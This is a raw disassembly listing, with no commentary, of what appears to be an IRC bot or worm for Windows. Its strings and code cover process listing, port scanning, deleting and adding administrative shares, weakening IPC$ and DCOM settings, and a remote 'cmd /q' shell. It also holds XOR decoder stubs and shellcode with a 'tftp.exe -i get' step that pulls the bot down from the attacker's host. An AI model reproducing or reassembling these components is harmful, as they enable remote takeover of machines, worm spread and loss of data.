		unicode	0, <!>,0
asc_4387B4	db ' :',0               ; DATA XREF: sub_40EE72+86o
					; sub_40EE72:loc_40FA19o
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41518A+120o
		align 4
unk_4387C4	db    2			; DATA XREF: sub_41533B:loc_4153C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 4
unk_4387FC	db    2			; DATA XREF: sub_41533B+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
unk_438834	db    2			; DATA XREF: sub_41533B+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 4
dword_438868	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415669o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
dword_4388A0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415642o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 4
dword_4388DC	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415622o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o
		align 4
dword_438928	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415561o
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 4
dword_438964	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415685:loc_4156CAo
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
dword_43899C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156DF+1Bo
		dd 2029671Fh, 2BBBB02h,	6F4C2020h, 206E6967h, 656A6572h
		dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h
		dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h
		dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h
		dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h
		dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh
		dd 2BBBB02h, 61462020h,	64656C69h, 206F7420h, 72617473h
		dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h
		dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h
		dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h
		dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h
		dd 61657268h, 25203A64h, 2E64h,	7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h
		dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h
		dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h
		dd 2Eh,	7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	61462020h, 64656C69h, 206F7420h
		dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h
		dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h
		dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	72452020h, 3A726F72h, 41535720h
		dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 2 dup(0)
aConst		db 'const',0
		align 4
		dd 0
dword_438BAC	dd 1			; DATA XREF: sub_415D01+7o
off_438BB0	dd offset sub_415996	; DATA XREF: sub_415D01+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 4159F4h, 706D6F63h, 2 dup(0)
		dd 3, 415A41h, 6E756F63h, 797274h, 0
		dd 4, 415ADFh, 736Fh, 2	dup(0)
		dd 5, 415B54h
dword_438C04	dd 69257325h, 0		; DATA XREF: sub_415996+40o
					; ___:00415AC0o ...
byte_438C0C	db 50h			; DATA XREF: ___:00415A63o
					; ___:00415A70r
		db 43h,	2 dup(0)
dword_438C10	dd 7C7325h		; DATA XREF: ___:00415B0Eo
					; sub_415D01+39o
dword_438C14	dd 5D73255Bh, 7Ch	; DATA XREF: ___:00415C18o
dword_438C1C	dd 334B32h		; DATA XREF: ___:00415C08o
dword_438C20	dd 5D64255Bh, 7325h	; DATA XREF: sub_415C5E+3Ao
dword_438C28	dd 5D4D5Bh		; DATA XREF: sub_415C5E+2Co
					; sub_415C5E+57o
unk_438C2C	db    2			; DATA XREF: sub_415D6A+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		db    2
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_438CA0	dd offset dword_438CD8	; DATA XREF: sub_415F88+1B3o
					; sub_4162AC+17Ao
		align 8
		dd offset dword_438CD0
		align 10h
off_438CB0	dd offset dword_438CCC	; DATA XREF: sub_4162AC+1E3o
		dd offset dword_438CC8
		dd offset dword_438CC4
		dd offset dword_438CC0
dword_438CC0	dd 5C3A44h		; DATA XREF: sub_415F88+217o
					; ___:00438CBCo
dword_438CC4	dd 2444h		; DATA XREF: ___:00438CB8o
dword_438CC8	dd 5C3A43h		; DATA XREF: ___:00438CB4o
dword_438CCC	dd 2443h		; DATA XREF: ___:off_438CB0o
dword_438CD0	dd 494D4441h, 244Eh	; DATA XREF: ___:00438CA8o
dword_438CD8	dd 24435049h, 0		; DATA XREF: ___:off_438CA0o
unk_438CE0	db    2			; DATA XREF: sub_415F88+2E5o
					; sub_4162AC+2DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_438D20	db    2			; DATA XREF: sub_415F88+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_438D58	db    2			; DATA XREF: sub_415F88:loc_4161EAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_438D94	db    2			; DATA XREF: sub_415F88+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_438DC8	db    2			; DATA XREF: sub_415F88:loc_416157o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_438E04	db    2			; DATA XREF: sub_415F88+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_438E38	db    2			; DATA XREF: sub_415F88:loc_4160BAo
					; sub_4162AC:loc_4163DAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_438E78	db    2			; DATA XREF: sub_415F88:loc_4160B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_438EC4	db    2			; DATA XREF: sub_415F88:loc_416095o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_438F08	db    2			; DATA XREF: sub_415F88+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo
					; sub_4162AC+EDo
		align 4
unk_438F68	db    2			; DATA XREF: sub_415F88+91o
					; sub_4162AC+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_438FA8	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415F88:loc_415FF5o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_438FD4	db    2			; DATA XREF: sub_415F88+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_415F88+54o
					; sub_4162AC+54o
		align 4
word_439014	dw 4Eh			; DATA XREF: sub_415F88+38r
		align 4
unk_439018	db    2			; DATA XREF: sub_4162AC+2C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_4162AC+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_4162AC+219o
unk_439058	db    2			; DATA XREF: sub_4162AC:loc_41644Bo
					; sub_4162AC:loc_41651Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 10h
unk_439090	db    2			; DATA XREF: sub_4162AC+198o
					; sub_4162AC+269o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_4390C0	db    2			; DATA XREF: sub_4162AC:loc_4163D3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_43910C	db    2			; DATA XREF: sub_4162AC:loc_4163B5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_439150	db    2			; DATA XREF: sub_4162AC+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43919C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_4162AC:loc_416319o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_4391C8	db    2			; DATA XREF: sub_4162AC+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_4391FC	dw 59h			; DATA XREF: sub_4162AC+38r
		align 10h
dword_439200	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+DEo
		dd 2029671Fh, 2BBBB02h
aWaitformultipl	db '  WaitForMultipleObjects error: <%d>.',0
		align 4
dword_439244	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+59o
					; sub_4165C6+8Bo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 4
dword_43929C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
dword_4392D4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_439324	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
dword_439374	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416810+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_416810+8Co
		align 10h
dword_4393C0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4168E9+A1o
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 4

loc_43940C:				; DATA XREF: sub_416C55+C4o
		jmp	short loc_439410
; ---------------------------------------------------------------------------

loc_43940E:				; CODE XREF: ___:loc_439410p
		jmp	short loc_439415
; ---------------------------------------------------------------------------

loc_439410:				; CODE XREF: ___:loc_43940Cj
		call	loc_43940E

loc_439415:				; CODE XREF: ___:loc_43940Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43941A	dw 0FFFFh		; DATA XREF: sub_416C55+CCw
		db 80h,	73h, 0Eh
byte_43941F	db 0FFh			; DATA XREF: sub_416C55+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------

loc_439424:				; DATA XREF: sub_416C55+A2o
		jmp	short loc_439428
; ---------------------------------------------------------------------------

loc_439426:				; CODE XREF: ___:loc_439428p
		jmp	short loc_43942D
; ---------------------------------------------------------------------------

loc_439428:				; CODE XREF: ___:loc_439424j
		call	loc_439426

loc_43942D:				; CODE XREF: ___:loc_439426j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_439431	db 0FFh			; DATA XREF: sub_416C55+AAw
		dw 7380h
		db 0Ch
byte_439435	db 0FFh			; DATA XREF: sub_416C55+B0w
		dw 0E243h
		dd 0F9h
dword_43943C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416ADE+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4394A0	dd 12h			; DATA XREF: sub_416ADE+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416ADE+79o
aJ		db 'j',0
		db 0E8h
dword_4394B9	dd 17h			; DATA XREF: sub_416ADE+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_4394C0
		retn
; ---------------------------------------------------------------------------
byte_4394C0	db 0E8h			; CODE XREF: ___:004394BDj
dword_4394C1	dd 1			; DATA XREF: sub_416ADE+45w
byte_4394C5	db 0, 6Ah, 0		; DATA XREF: sub_416ADE+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_4394CF	dd 0FFFFFFEDh		; DATA XREF: sub_416ADE+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o
dword_439550	dd 29E2C0h		; DATA XREF: sub_417302+4w sub_41730Cr ...
		align 10h
dword_439560	dd 173Fh		; DATA XREF: sub_417CA4+Dr
		dd 9875h, 9873h
off_43956C	dd offset sub_417D73	; DATA XREF: sub_419AB8r
		dd offset nullsub_2
		dd offset nullsub_2
dword_439578	dd 1B3Fh		; DATA XREF: sub_417DEB+Dr
dword_43957C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41826D+2o
					; sub_418276+2o
off_439590	dd offset sub_419AF6	; DATA XREF: sub_419CDA+1Cr
dword_439594	dd 2			; DATA XREF: sub_41F84C+Er
					; sub_41F885+46r ...
off_439598	dd offset aNull_0	; DATA XREF: sub_419E38:loc_41A19Cr
					; sub_419E38+457r
					; "(null)"
off_43959C	dd offset aNull		; DATA XREF: sub_419E38+259r
					; "(null)"
off_4395A0	dd offset word_4395AA	; DATA XREF: sub_417794+23r
					; sub_417794:loc_4177F5r ...
off_4395A4	dd offset word_4395AA	; DATA XREF: sub_422EB1+18r
		db 2 dup(0)
word_4395AA	dw 20h			; DATA XREF: sub_42102E+18r
					; ___:off_4395A0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4397AC	dd 1			; DATA XREF: sub_417794:loc_41779Cr
					; sub_417794:loc_4177E0r ...
byte_4397B0	db 2Eh			; DATA XREF: sub_41C86F:loc_41C8AFr
					; sub_41C8C9+4r ...
		align 4
		dd 1, 10h, 0
off_4397C0	dd offset off_4397C0	; DATA XREF: sub_41B888+Do
					; sub_41B888+69o ...
off_4397C4	dd offset off_4397C0	; DATA XREF: sub_41B888:loc_41B908r
					; sub_41B888+89w ...
		dd offset dword_4397D8
		dd offset dword_4397D8
dword_4397D0	dd 0FFFFFFFFh		; DATA XREF: sub_41B888r
					; sub_41B9CC:loc_41BA19w
		dd 0FFFFFFFFh
dword_4397D8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:004397C8o
					; ___:004397CCo
off_43B7E0	dd offset off_4397C0	; DATA XREF: sub_41B9CC+15r
					; sub_41B9CC+20w ...
dword_43B7E4	dd 1E0h			; DATA XREF: sub_417BC7:loc_417C03r
					; sub_41944F+185r ...
dword_43B7E8	dd 14h			; DATA XREF: sub_41C5B8+2o
off_43B7EC	dd offset aExp		; DATA XREF: sub_41C5B8:loc_41C5D5r
					; "exp"
		dd 1Dh,	42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h
		dd 13h,	4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h
		dd 0Fh,	4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh,	4247BCh
		dd 12h,	4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h
		dd 15h,	42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h
		dd 18h,	42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h
		dd 23h,	424764h, 24h, 424760h
dbl_43B8C0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+B7r
					; sub_41C2F3:loc_41C3DAr ...
		dd 0
		dd 0FFF80000h
dbl_43B8D0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+92r
					; sub_41C2F3:loc_41C3B2r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43B8E8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr
					; sub_41C7A0+1Fr
		align 4
tbyte_43B8F4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r
		align 10h
off_43B900	dd offset sub_41CC34	; DATA XREF: sub_417D8B+Fw
					; sub_419E38+3AAr
off_43B904	dd offset sub_41C8C9	; DATA XREF: sub_417D8B+5w
					; sub_419E38+3E2r
off_43B908	dd offset sub_41C92F	; DATA XREF: sub_417D8B+14w
					; sub_41D797+430r
off_43B90C	dd offset sub_41C86F	; DATA XREF: sub_417D8B+1Ew
					; sub_419E38+3CBr
off_43B910	dd offset sub_41C917	; DATA XREF: sub_417D8B+28w
off_43B914	dd offset sub_41CC34	; DATA XREF: sub_417D8B+32w
		dd offset sub_42086E
		align 10h
		dd offset sub_41D4FC
off_43B924	dd offset sub_41D4FC	; DATA XREF: sub_41D552+29r
dword_43B928	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41D797:loc_41DCFEo
dword_43B930	dd 5Dh,	0		; DATA XREF: sub_41D797:loc_41DBEEo
byte_43B938	db 1			; DATA XREF: sub_41E92D+E1r
		db 2, 4, 8
		align 10h
dword_43B940	dd 3A4h			; DATA XREF: sub_41E92D+2Fo
dword_43B944	dd 82798260h, 21h, 0	; DATA XREF: sub_41E92D+11Dr
dword_43B950	dd 0DFA6h		; DATA XREF: sub_41E92D+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43BA30	dd 1			; DATA XREF: sub_41E92D+3Co
					; sub_41EF44+Co
dword_43BA34	dd 16h			; DATA XREF: sub_41EF44:loc_41EF79r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
